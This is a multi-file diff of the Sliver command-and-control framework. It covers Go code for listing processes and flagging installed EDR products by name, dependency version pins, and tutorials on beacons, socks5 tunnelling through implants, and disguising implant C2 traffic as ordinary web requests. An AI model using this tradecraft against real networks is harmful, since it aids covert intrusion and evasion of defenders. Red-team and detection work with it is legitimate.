f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
+24 -88
View File
@@ -100,13 +100,6 @@ var knownSecurityTools = map[string][]string{
"CrAmTray.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe
"CrsSvc.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe
"CybereasonAV.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe
"cortex-xdr-payload.exe": {console.Red, "Palo Alto Cortex"}, // Cortex XDR - offline triage
"cysandbox.exe": {console.Red, "Palo Alto Cortex"}, // Cortex XDR - sandbox
"cyuserservice.exe": {console.Red, "Palo Alto Cortex"}, // Cortex XDR - user service
"cywscsvc.exe": {console.Red, "Palo Alto Cortex"}, // Cortex XDR - security center service
"tlaworker.exe": {console.Red, "Palo Alto Cortex"}, // Cortex XDR - local analysis worker
"AEEngine.exe": {console.Red, "Faronics Anti-Executable"}, // Faronics Anti-Executable - security service
"Antiexecutable.exe": {console.Red, "Faronics Anti-Executable"}, // Faronics Anti-Executable - gui and tray icon
}
// PsCmd - List processes on the remote system
@@ -115,45 +108,14 @@ func PsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
if session == nil && beacon == nil {
return
}
ownerFilter, _ := cmd.Flags().GetString("owner")
cmdLine, _ := cmd.Flags().GetBool("print-cmdline")
tree, _ := cmd.Flags().GetBool("tree")
fullInfo, _ := cmd.Flags().GetBool("full")
if tree && fullInfo {
con.PrintWarnf("Process tree and full process metadata were requested. " +
"Full process metadata is not necessary for the process tree, so the request for full process metadata will be ignored.\n\n")
fullInfo = false
}
if ownerFilter != "" && !fullInfo {
con.PrintErrorf("Filtering on process owner was requested, but full process metadata was not requested. Re-run the command, and specify the -f flag.\n")
return
}
if cmdLine && !fullInfo {
con.PrintErrorf("Process command line arguments were requested, but full process metadata was not requested. Re-run the command, and specify the -f flag.\n")
return
}
// Get OS information
os := getOS(session, beacon)
/*
Because a full list can trigger EDR on some platforms,
namely Windows, filtering of the process list must be
done on the implant side.
*/
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
FullInfo: fullInfo,
Request: con.ActiveTarget.Request(cmd),
Request: con.ActiveTarget.Request(cmd),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
os := getOS(session, beacon)
if ps.Response != nil && ps.Response.Async {
con.AddBeaconCallback(ps.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, ps)
@@ -161,7 +123,7 @@ func PsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintPS(os, ps, false, fullInfo, cmd.Flags(), con)
PrintPS(os, ps, false, cmd.Flags(), con)
products := findKnownSecurityProducts(ps)
if 0 < len(products) {
con.Println()
@@ -170,7 +132,7 @@ func PsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
})
con.PrintAsyncResponse(ps.Response)
} else {
PrintPS(os, ps, true, fullInfo, cmd.Flags(), con)
PrintPS(os, ps, true, cmd.Flags(), con)
products := findKnownSecurityProducts(ps)
if 0 < len(products) {
con.Println()
@@ -189,7 +151,7 @@ func getOS(session *clientpb.Session, beacon *clientpb.Beacon) string {
}
// PrintPS - Prints the process list
func PrintPS(os string, ps *sliverpb.Ps, interactive bool, fullInfo bool, flags *pflag.FlagSet, con *console.SliverClient) {
func PrintPS(os string, ps *sliverpb.Ps, interactive bool, flags *pflag.FlagSet, con *console.SliverClient) {
pidFilter, _ := flags.GetInt("pid")
exeFilter, _ := flags.GetString("exe")
ownerFilter, _ := flags.GetString("owner")
@@ -218,25 +180,15 @@ func PrintPS(os string, ps *sliverpb.Ps, interactive bool, fullInfo bool, flags
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
defaultInfo := table.Row{"pid", "ppid", "executable"}
switch os {
case "windows":
if fullInfo {
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "arch", "executable", "session"})
} else {
tw.AppendHeader(defaultInfo)
}
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "arch", "executable", "session"})
case "darwin":
fallthrough
case "linux":
fallthrough
default:
if fullInfo {
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "arch", "executable"})
} else {
tw.AppendHeader(defaultInfo)
}
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "arch", "executable"})
}
cmdLine, _ := flags.GetBool("print-cmdline")
@@ -250,7 +202,7 @@ func PrintPS(os string, ps *sliverpb.Ps, interactive bool, fullInfo bool, flags
if ownerFilter != "" && !strings.Contains(strings.ToLower(proc.Owner), strings.ToLower(ownerFilter)) {
continue
}
row := procRow(proc, cmdLine, fullInfo, con)
row := procRow(tw, proc, cmdLine, con)
tw.AppendRow(row)
}
tw.SortBy([]table.SortBy{
@@ -278,7 +230,7 @@ func findKnownSecurityProducts(ps *sliverpb.Ps) []string {
}
// procRow - Stylizes the process information
func procRow(proc *commonpb.Process, cmdLine bool, fullInfo bool, con *console.SliverClient) table.Row {
func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console.SliverClient) table.Row {
session, beacon := con.ActiveTarget.GetInteractive()
color := console.Normal
@@ -295,7 +247,7 @@ func procRow(proc *commonpb.Process, cmdLine bool, fullInfo bool, con *console.S
var row table.Row
switch session.GetOS() {
case "windows":
if cmdLine && fullInfo {
if cmdLine {
var args string
if len(proc.CmdLine) >= 1 {
args = strings.Join(proc.CmdLine, " ")
@@ -311,21 +263,13 @@ func procRow(proc *commonpb.Process, cmdLine bool, fullInfo bool, con *console.S
fmt.Sprintf(color+"%d"+console.Normal, proc.SessionID),
}
} else {
if fullInfo {
row = table.Row{
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
fmt.Sprintf(color+"%d"+console.Normal, proc.SessionID),
}
} else {
row = table.Row{
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
}
row = table.Row{
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
fmt.Sprintf(color+"%d"+console.Normal, proc.SessionID),
}
}
case "darwin":
@@ -333,7 +277,7 @@ func procRow(proc *commonpb.Process, cmdLine bool, fullInfo bool, con *console.S
case "linux":
fallthrough
default:
if cmdLine && fullInfo {
if cmdLine {
var args string
if len(proc.CmdLine) >= 2 {
args = strings.Join(proc.CmdLine, " ")
@@ -348,20 +292,12 @@ func procRow(proc *commonpb.Process, cmdLine bool, fullInfo bool, con *console.S
fmt.Sprintf(color+"%s"+console.Normal, args),
}
} else {
if fullInfo {
row = table.Row{
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
}
} else {
row = table.Row{
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
}
row = table.Row{
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
}
}
}
-23
View File
@@ -19,7 +19,6 @@ package command
*/
import (
"fmt"
"os"
"github.com/bishopfox/sliver/client/command/alias"
@@ -32,7 +31,6 @@ import (
"github.com/bishopfox/sliver/client/command/crack"
"github.com/bishopfox/sliver/client/command/creds"
"github.com/bishopfox/sliver/client/command/exit"
"github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/command/generate"
"github.com/bishopfox/sliver/client/command/hosts"
"github.com/bishopfox/sliver/client/command/info"
@@ -93,7 +91,6 @@ func ServerCommands(con *client.SliverClient, serverCmds func() []*cobra.Command
licenses.Commands,
settings.Commands,
alias.Commands,
extensions.Commands,
armory.Commands,
update.Commands,
operators.Commands,
@@ -134,26 +131,6 @@ func ServerCommands(con *client.SliverClient, serverCmds func() []*cobra.Command
// [ Post-command declaration setup ]-----------------------------------------
// Load Extensions
// Similar to the SliverCommand loading, without adding the commands to the
// Server command tree. This is done to ensure that the extensions are loaded
// before the server is started, so that the extensions are registered.
extensionManifests := extensions.GetAllExtensionManifests()
for _, manifest := range extensionManifests {
_, err := extensions.LoadExtensionManifest(manifest)
// Absorb error in case there's no extensions manifest
if err != nil {
//con doesn't appear to be initialised here?
//con.PrintErrorf("Failed to load extension: %s", err)
fmt.Printf("Failed to load extension: %s\n", err)
continue
}
//for _, ext := range mext.ExtCommand {
// extensions.ExtensionRegisterCommand(ext, sliver, con)
//}
}
// Everything below this line should preferably not be any command binding
// (although you can do so without fear). If there are any final modifications
// to make to the server menu command tree, it time to do them here.
+4 -3
View File
@@ -87,7 +87,6 @@ func SliverCommands(con *client.SliverClient) console.Commands {
screenshot.Commands,
environment.Commands,
registry.Commands,
extensions.SliverCommands,
)
// [ Filesystem ]
@@ -128,7 +127,9 @@ func SliverCommands(con *client.SliverClient) console.Commands {
bind(consts.AliasHelpGroup)
// [ Extensions ]
bind(consts.ExtensionHelpGroup)
bind(consts.ExtensionHelpGroup,
extensions.Commands,
)
// [ Post-command declaration setup ]----------------------------------------
@@ -143,7 +144,7 @@ func SliverCommands(con *client.SliverClient) console.Commands {
}
// Load Extensions
extensionManifests := extensions.GetAllExtensionManifests()
extensionManifests := assets.GetInstalledExtensionManifests()
for _, manifest := range extensionManifests {
mext, err := extensions.LoadExtensionManifest(manifest)
// Absorb error in case there's no extensions manifest
+1 -4
View File
@@ -628,11 +628,8 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverClient) {
f.BoolP("overflow", "O", false, "overflow terminal width (display truncated rows)")
f.IntP("skip-pages", "S", 0, "skip the first n page(s)")
f.BoolP("tree", "T", false, "print process tree")
f.BoolP("full", "f", false, "show full process info (owner, command line, session information, may trigger EDR), default true on all non-Windows OSs, false on Windows")
fullInfo := beacon.OS != "windows"
processes.PrintPS(beacon.OS, ps, true, fullInfo, f, con)
processes.PrintPS(beacon.OS, ps, true, f, con)
case sliverpb.MsgTerminateReq:
terminate := &sliverpb.Terminate{}
-3
View File
@@ -50,9 +50,6 @@ func TasksCancelCmd(cmd *cobra.Command, con *console.SliverClient, args []string
con.PrintErrorf("%s\n", err)
return
}
// Request and response content is not needed for cancelling a task
task.Request = nil
task.Response = nil
}
if task != nil {
+48 -48
View File
@@ -19,7 +19,7 @@
"framer-motion": "^10.16.16",
"fuse.js": "^7.0.0",
"lunr": "^2.3.9",
"next": "^14.2.22",
"next": "^14.2.3",
"next-themes": "^0.2.1",
"react": "18.2.0",
"react-dom": "18.2.0",
@@ -383,9 +383,9 @@
}
},
"node_modules/@next/env": {
"version": "14.2.22",
"resolved": "https://registry.npmjs.org/@next/env/-/env-14.2.22.tgz",
"integrity": "sha512-EQ6y1QeNQglNmNIXvwP/Bb+lf7n9WtgcWvtoFsHquVLCJUuxRs+6SfZ5EK0/EqkkLex4RrDySvKgKNN7PXip7Q=="
"version": "14.2.3",
"resolved": "https://registry.npmjs.org/@next/env/-/env-14.2.3.tgz",
"integrity": "sha512-W7fd7IbkfmeeY2gXrzJYDx8D2lWKbVoTIj1o1ScPHNzvp30s1AuoEFSdr39bC5sjxJaxTtq3OTCZboNp0lNWHA=="
},
"node_modules/@next/eslint-plugin-next": {
"version": "14.0.4",
@@ -397,9 +397,9 @@
}
},
"node_modules/@next/swc-darwin-arm64": {
"version": "14.2.22",
"resolved": "https://registry.npmjs.org/@next/swc-darwin-arm64/-/swc-darwin-arm64-14.2.22.tgz",
"integrity": "sha512-HUaLiehovgnqY4TMBZJ3pDaOsTE1spIXeR10pWgdQVPYqDGQmHJBj3h3V6yC0uuo/RoY2GC0YBFRkOX3dI9WVQ==",
"version": "14.2.3",
"resolved": "https://registry.npmjs.org/@next/swc-darwin-arm64/-/swc-darwin-arm64-14.2.3.tgz",
"integrity": "sha512-3pEYo/RaGqPP0YzwnlmPN2puaF2WMLM3apt5jLW2fFdXD9+pqcoTzRk+iZsf8ta7+quAe4Q6Ms0nR0SFGFdS1A==",
"cpu": [
"arm64"
],
@@ -412,9 +412,9 @@
}
},
"node_modules/@next/swc-darwin-x64": {
"version": "14.2.22",
"resolved": "https://registry.npmjs.org/@next/swc-darwin-x64/-/swc-darwin-x64-14.2.22.tgz",
"integrity": "sha512-ApVDANousaAGrosWvxoGdLT0uvLBUC+srqOcpXuyfglA40cP2LBFaGmBjhgpxYk5z4xmunzqQvcIgXawTzo2uQ==",
"version": "14.2.3",
"resolved": "https://registry.npmjs.org/@next/swc-darwin-x64/-/swc-darwin-x64-14.2.3.tgz",
"integrity": "sha512-6adp7waE6P1TYFSXpY366xwsOnEXM+y1kgRpjSRVI2CBDOcbRjsJ67Z6EgKIqWIue52d2q/Mx8g9MszARj8IEA==",
"cpu": [
"x64"
],
@@ -427,9 +427,9 @@
}
},
"node_modules/@next/swc-linux-arm64-gnu": {
"version": "14.2.22",
"resolved": "https://registry.npmjs.org/@next/swc-linux-arm64-gnu/-/swc-linux-arm64-gnu-14.2.22.tgz",
"integrity": "sha512-3O2J99Bk9aM+d4CGn9eEayJXHuH9QLx0BctvWyuUGtJ3/mH6lkfAPRI4FidmHMBQBB4UcvLMfNf8vF0NZT7iKw==",
"version": "14.2.3",
"resolved": "https://registry.npmjs.org/@next/swc-linux-arm64-gnu/-/swc-linux-arm64-gnu-14.2.3.tgz",
"integrity": "sha512-cuzCE/1G0ZSnTAHJPUT1rPgQx1w5tzSX7POXSLaS7w2nIUJUD+e25QoXD/hMfxbsT9rslEXugWypJMILBj/QsA==",
"cpu": [
"arm64"
],
@@ -442,9 +442,9 @@
}
},
"node_modules/@next/swc-linux-arm64-musl": {
"version": "14.2.22",
"resolved": "https://registry.npmjs.org/@next/swc-linux-arm64-musl/-/swc-linux-arm64-musl-14.2.22.tgz",
"integrity": "sha512-H/hqfRz75yy60y5Eg7DxYfbmHMjv60Dsa6IWHzpJSz4MRkZNy5eDnEW9wyts9bkxwbOVZNPHeb3NkqanP+nGPg==",
"version": "14.2.3",
"resolved": "https://registry.npmjs.org/@next/swc-linux-arm64-musl/-/swc-linux-arm64-musl-14.2.3.tgz",
"integrity": "sha512-0D4/oMM2Y9Ta3nGuCcQN8jjJjmDPYpHX9OJzqk42NZGJocU2MqhBq5tWkJrUQOQY9N+In9xOdymzapM09GeiZw==",
"cpu": [
"arm64"
],
@@ -457,9 +457,9 @@
}
},
"node_modules/@next/swc-linux-x64-gnu": {
"version": "14.2.22",
"resolved": "https://registry.npmjs.org/@next/swc-linux-x64-gnu/-/swc-linux-x64-gnu-14.2.22.tgz",
"integrity": "sha512-LckLwlCLcGR1hlI5eiJymR8zSHPsuruuwaZ3H2uudr25+Dpzo6cRFjp/3OR5UYJt8LSwlXv9mmY4oI2QynwpqQ==",
"version": "14.2.3",
"resolved": "https://registry.npmjs.org/@next/swc-linux-x64-gnu/-/swc-linux-x64-gnu-14.2.3.tgz",
"integrity": "sha512-ENPiNnBNDInBLyUU5ii8PMQh+4XLr4pG51tOp6aJ9xqFQ2iRI6IH0Ds2yJkAzNV1CfyagcyzPfROMViS2wOZ9w==",
"cpu": [
"x64"
],
@@ -472,9 +472,9 @@
}
},
"node_modules/@next/swc-linux-x64-musl": {
"version": "14.2.22",
"resolved": "https://registry.npmjs.org/@next/swc-linux-x64-musl/-/swc-linux-x64-musl-14.2.22.tgz",
"integrity": "sha512-qGUutzmh0PoFU0fCSu0XYpOfT7ydBZgDfcETIeft46abPqP+dmePhwRGLhFKwZWxNWQCPprH26TjaTxM0Nv8mw==",
"version": "14.2.3",
"resolved": "https://registry.npmjs.org/@next/swc-linux-x64-musl/-/swc-linux-x64-musl-14.2.3.tgz",
"integrity": "sha512-BTAbq0LnCbF5MtoM7I/9UeUu/8ZBY0i8SFjUMCbPDOLv+un67e2JgyN4pmgfXBwy/I+RHu8q+k+MCkDN6P9ViQ==",
"cpu": [
"x64"
],
@@ -487,9 +487,9 @@
}
},
"node_modules/@next/swc-win32-arm64-msvc": {
"version": "14.2.22",
"resolved": "https://registry.npmjs.org/@next/swc-win32-arm64-msvc/-/swc-win32-arm64-msvc-14.2.22.tgz",
"integrity": "sha512-K6MwucMWmIvMb9GlvT0haYsfIPxfQD8yXqxwFy4uLFMeXIb2TcVYQimxkaFZv86I7sn1NOZnpOaVk5eaxThGIw==",
"version": "14.2.3",
"resolved": "https://registry.npmjs.org/@next/swc-win32-arm64-msvc/-/swc-win32-arm64-msvc-14.2.3.tgz",
"integrity": "sha512-AEHIw/dhAMLNFJFJIJIyOFDzrzI5bAjI9J26gbO5xhAKHYTZ9Or04BesFPXiAYXDNdrwTP2dQceYA4dL1geu8A==",
"cpu": [
"arm64"
],
@@ -502,9 +502,9 @@
}
},
"node_modules/@next/swc-win32-ia32-msvc": {
"version": "14.2.22",
"resolved": "https://registry.npmjs.org/@next/swc-win32-ia32-msvc/-/swc-win32-ia32-msvc-14.2.22.tgz",
"integrity": "sha512-5IhDDTPEbzPR31ZzqHe90LnNe7BlJUZvC4sA1thPJV6oN5WmtWjZ0bOYfNsyZx00FJt7gggNs6SrsX0UEIcIpA==",
"version": "14.2.3",
"resolved": "https://registry.npmjs.org/@next/swc-win32-ia32-msvc/-/swc-win32-ia32-msvc-14.2.3.tgz",
"integrity": "sha512-vga40n1q6aYb0CLrM+eEmisfKCR45ixQYXuBXxOOmmoV8sYST9k7E3US32FsY+CkkF7NtzdcebiFT4CHuMSyZw==",
"cpu": [
"ia32"
],
@@ -517,9 +517,9 @@
}
},
"node_modules/@next/swc-win32-x64-msvc": {
"version": "14.2.22",
"resolved": "https://registry.npmjs.org/@next/swc-win32-x64-msvc/-/swc-win32-x64-msvc-14.2.22.tgz",
"integrity": "sha512-nvRaB1PyG4scn9/qNzlkwEwLzuoPH3Gjp7Q/pLuwUgOTt1oPMlnCI3A3rgkt+eZnU71emOiEv/mR201HoURPGg==",
"version": "14.2.3",
"resolved": "https://registry.npmjs.org/@next/swc-win32-x64-msvc/-/swc-win32-x64-msvc-14.2.3.tgz",
"integrity": "sha512-Q1/zm43RWynxrO7lW4ehciQVj+5ePBhOK+/K2P7pLFX3JaJ/IZVC69SHidrmZSOkqz7ECIOhhy7XhAFG4JYyHA==",
"cpu": [
"x64"
],
@@ -6512,11 +6512,11 @@
]
},
"node_modules/micromatch": {
"version": "4.0.8",
"resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.8.tgz",
"integrity": "sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==",
"version": "4.0.5",
"resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.5.tgz",
"integrity": "sha512-DMy+ERcEW2q8Z2Po+WNXuw3c5YaUSFjAO5GsJqfEl7UjvtIuFKO6ZrKvcItdy98dwFI2N1tg3zNIdKaQT+aNdA==",
"dependencies": {
"braces": "^3.0.3",
"braces": "^3.0.2",
"picomatch": "^2.3.1"
},
"engines": {
@@ -6588,11 +6588,11 @@
"dev": true
},
"node_modules/next": {
"version": "14.2.22",
"resolved": "https://registry.npmjs.org/next/-/next-14.2.22.tgz",
"integrity": "sha512-Ps2caobQ9hlEhscLPiPm3J3SYhfwfpMqzsoCMZGWxt9jBRK9hoBZj2A37i8joKhsyth2EuVKDVJCTF5/H4iEDw==",
"version": "14.2.3",
"resolved": "https://registry.npmjs.org/next/-/next-14.2.3.tgz",
"integrity": "sha512-dowFkFTR8v79NPJO4QsBUtxv0g9BrS/phluVpMAt2ku7H+cbcBJlopXjkWlwxrk/xGqMemr7JkGPGemPrLLX7A==",
"dependencies": {
"@next/env": "14.2.22",
"@next/env": "14.2.3",
"@swc/helpers": "0.5.5",
"busboy": "1.6.0",
"caniuse-lite": "^1.0.30001579",
@@ -6607,15 +6607,15 @@
"node": ">=18.17.0"
},
"optionalDependencies": {
"@next/swc-darwin-arm64": "14.2.22",
"@next/swc-darwin-x64": "14.2.22",
"@next/swc-linux-arm64-gnu": "14.2.22",
"@next/swc-linux-arm64-musl": "14.2.22",
"@next/swc-linux-x64-gnu": "14.2.22",
"@next/swc-linux-x64-musl": "14.2.22",
"@next/swc-win32-arm64-msvc": "14.2.22",
"@next/swc-win32-ia32-msvc": "14.2.22",
"@next/swc-win32-x64-msvc": "14.2.22"
"@next/swc-darwin-arm64": "14.2.3",
"@next/swc-darwin-x64": "14.2.3",
"@next/swc-linux-arm64-gnu": "14.2.3",
"@next/swc-linux-arm64-musl": "14.2.3",
"@next/swc-linux-x64-gnu": "14.2.3",
"@next/swc-linux-x64-musl": "14.2.3",
"@next/swc-win32-arm64-msvc": "14.2.3",
"@next/swc-win32-ia32-msvc": "14.2.3",
"@next/swc-win32-x64-msvc": "14.2.3"
},
"peerDependencies": {
"@opentelemetry/api": "^1.1.0",
+1 -1
View File
@@ -21,7 +21,7 @@
"framer-motion": "^10.16.16",
"fuse.js": "^7.0.0",
"lunr": "^2.3.9",
"next": "^14.2.22",
"next": "^14.2.3",
"next-themes": "^0.2.1",
"react": "18.2.0",
"react-dom": "18.2.0",
@@ -15,7 +15,7 @@
### Blogs
- https://bishopfox.com/blog/passing-the-osep-exam-using-sliver
- https://notateamserver.xyz/blog/sliver-101/
- https://notateamserver.xyz/sliver-101/
- https://dominicbreuker.com/post/learning_sliver_c2_01_installation/
- https://vk9-sec.com/how-to-set-up-use-c2-sliver/
- https://0x90-1.gitbook.io/sliver/
@@ -38,7 +38,6 @@
### Detection & Analysis
- https://medium.com/@unsec.monitor/how-to-use-zeek-detect-sliver-http-beacon-traffic-f05b214c4056
- https://www.immersivelabs.com/blog/detecting-and-decrypting-sliver-c2-a-threat-hunters-guide/
- https://blogs.vmware.com/security/2023/01/detection-of-lateral-movement-with-the-sliver-c2-framework.html
- https://michaelkoczwara.medium.com/sliver-c2-implant-analysis-62773928097f
@@ -120,7 +120,7 @@ $ make macos
$ make macos-arm64
$ make linux
$ make linux-arm64
$ make windows-amd64
$ make windows
```
### Docker Build
@@ -140,4 +140,4 @@ The Docker build includes mingw and Metasploit, so it can take a while to build
- Kali/Ubuntu/Debian `sudo apt install mingw-w64`
- MacOS `brew install mingw-w64`
If all you have is a Windows machine, the easiest way to build Sliver is using [WSL](https://docs.microsoft.com/en-us/windows/wsl/install-win10) and following the Linux/cross-compile instructions above. To cross-compile a native Windows binary use `make windows-amd64` and copy it to your Windows file system (i.e. `/mnt/c/Users/foo/Desktop`) and run it using a terminal that supports ANSI sequences such as the [Windows Terminal](https://github.com/microsoft/terminal).
If all you have is a Windows machine, the easiest way to build Sliver is using [WSL](https://docs.microsoft.com/en-us/windows/wsl/install-win10) and following the Linux/cross-compile instructions above. To cross-compile a native Windows binary use `make windows` and copy it to your Windows file system (i.e. `/mnt/c/Users/foo/Desktop`) and run it using a terminal that supports ANSI sequences such as the [Windows Terminal](https://github.com/microsoft/terminal).
@@ -49,7 +49,9 @@ Filesystem
grep Search for strings that match a regex within a file or directory
head Grab the first number of bytes or lines from a file
ls List current directory
memfiles List current memfiles
mkdir Make a directory
mount Get information on mounted filesystems
mv Move or rename a file
pwd Print working directory
rm Remove a file or directory
@@ -70,6 +72,7 @@ Info
getuid Get session process UID
info Get session info
ping Send round trip message to implant (does not use ICMP)
screenshot Take a screenshot
whoami Get session user execution context
```
Execute a binary
@@ -83,13 +86,3 @@ Running an interactive shell
```asciinema
{"src": "/asciinema/shell.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
```
Not all commands are supported for all operating systems or meant to be used on all operating systems, here are a few examples:
```
mount Get information on mounted filesystems (only for Windows and Linux)
screenshot Take a screenshot (only for Windows and Linux)
memfiles List current memfiles (Linux only)
```
This is an open-source project if you see a bug please file an issue! Pull requests are always welcome.
@@ -2,9 +2,9 @@
Sliver implants support two types of connections, sessions and beacons.
Sessions use long-polling connections, which means they constantly maintain a single TCP connection open while communicating with the server. Beacons on the other hand call back periodically and will sleep when not active which can help keep their presence hidden. You could limit callbacks to once every 6 hours for example and only 'activate' the beacon when needed by switching its sleeping time to a shorter duration.
Sessions use long-polling connections, which means they use a single TCP connection which is constantly open. Beacons on the other hand call back periodically, and will sleep when not active which can help keep their presence hidden.
Typically during an engagement you will want to deploy a beacon on the target system and switch to a session while doing more active enumeration.
Typically during an engagement you will want to deploy a beacon on the target system, and switch to a session while doing more active enumeration activities.
Let’s start with generating and deploying a beacon using `http`.
@@ -66,13 +66,13 @@ Commands issued for beacons can be viewed using `tasks`, the task state will ind
{"src": "/asciinema/beacon_tasks.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
```
Session can be spun up in our beacon process using the `interactive` command. Under the hood this will spawn a goroutine running session connection loop in the same beacon process.
Session can be spun up using the `interactive` command.
```asciinema
{"src": "/asciinema/beacon_interractive.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
```
Because of the differences between sessions and beacons, certain commands like `upload` or `download` are slower on beacons due to the callback time. Others such as socks5 are only supported for sessions. As a rule of thumb anything requiring higher network bandwidth should be run from a session.
Because of the differences between sessions and beacons, certain commands like `upload` or `download` are slower on beacons due to the callback time. Others such as socks5 are not supported and only allowed for sessions. As a rule of thumb anything requiring higher network bandwidth should be run from a session.
Let’s switch to our newly created session and spin-up a `socks5` proxy.
@@ -91,4 +91,4 @@ Let’s switch to our newly created session and spin-up a `socks5` proxy.
You can then point your browser to port 1081 to tunnel traffic through the implant to your target’s local network.
Try out some of the previous commands and compare behaviour on beacons and sessions. Once you are done, you should remember to close your session thread using the `close` command.
Try out some of the previous commands and compare behaviour on beacons and sessions. Once you are done, you should remember to close your session using the `close` command.
@@ -1,19 +1,104 @@
# This course is intended for the 1.6 version of Sliver, which is not yet published
When generating implants Sliver uses a C2Profile configuration to define how implant callbacks will look over HTTP/s. This allowed operators to control headers, cookies proxies, URL paths and so on. When the implant is generated the sliver server will then select portions of that configuration to generate the implant C2Profile.
When generating implants sliver uses a C2Profile configuration, which will be used to generate the effective network configuration of the implant. For example if configured to use /admin and /demo as callback urls, it might use one, the other or both allowing two implants using the same configuration to still seem slightly different from a network traffic perspective.
For example if configured to use `/admin` and `/demo` as callback urls, it might use one, the other or both depending on your configuration allowing two implants using the same configuration to still seem slightly different from a network traffic perspective.
C2 profile configurations can be seen using the `c2profile` command, which also has import and export features.
C2 profile configurations can be seen using the `c2profile` command, which also allows import and export features.
The full list of possible configuration option can be found in the references section below, but for now lets instead customise the existing configuration.
Lets imagine we’re trying to breach a customer and want to look like we're talking to Wordpress.
We would want to update the session messages and staging with something more realistic and replace all references to `woff` for example with something less suspicious like `css`, `js` or `php`.
Lets imagine we’re trying to breach a customer we've noticed uses ruby-on-rails for their applications. By default sliver will use the following extensions:
We would also use a list of common Urls and filenames for Wordpress like `https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls-wordpress-3.3.1.txt` for the `files` and `paths` variables. You could alternatively reuse Urls discovered while enumerating your target's external perimeter in a similar way.
- `.woff` for staging
- `.js` for poll requests
- `.html` for key exchanges
- `.png` for close session
- `.php` for session messages
You can use `c2profiles generate -f urls-wordpress-3.3.1.txt -n wordpress -i` to generate a new c2 profile using the urls we just downloaded. By default this command will use the default c2 profile as a template for all other variables, if you want to edit any of those you can export and re-import the modified profile.
We will need to update the session messages and staging with something more realistic and replace all references to `woff` or `php` with something less suspicious like `css`, `rb` or `erb`.
We will also use a list of common Urls and filenames for Ruby on Rails like `https://github.com/danielmiessler/SecLists/blob/master/DiscoveryWeb-Content/ror.txt` for the `*_files` and `*_paths` variables. You could also reuse Urls discovered while enumerating your target's external perimeter in a similar way.
We will split the urls using a script like the example below, and then update the files and paths variables in our configuration file.
```python
import json
import math
import sys
import random
def updateProfile(c2ProfileName, urls, cookieName):
data = open(urls).readlines()
c2Profile = open(c2ProfileName, "r").read()
jsonC2Profile = json.loads(c2Profile)
paths, filenames, extensions = [], [], []
for line in data:
line = line.strip()
if "." in line:
extensions.append(line.split(".")[-1])
if "/" in line:
segments = line.split("/")
paths.extend(segments[:-1])
filenames.append(segments[-1].split(".")[0])
extensions = list(set(extensions))
if "" in extensions:
extensions.remove("")
random.shuffle(extensions)
filenames = list(set(filenames))
if "" in filenames:
filenames.remove("")
paths = list(set(paths))
if "" in paths:
paths.remove("")
if len(extensions) < 5:
print(f'Got {len(extensions)} extensions, need at least 5.')
exit(0)
if len(paths) < 5:
print(f'Got {len(paths)} paths need at least 5.')
exit(0)
if len(filenames) < 5:
print(f'Got {len(filenames)} paths need at least 5.')
exit(0)
exts = ['poll_file_ext','stager_file_ext', 'start_session_file_ext', 'session_file_ext', 'close_file_ext' ]
for ext in exts:
jsonC2Profile["implant_config"][ext] = extensions[0]
extensions.pop(0)
pathTypes = ['poll_paths','stager_paths', 'session_paths', 'close_paths' ]
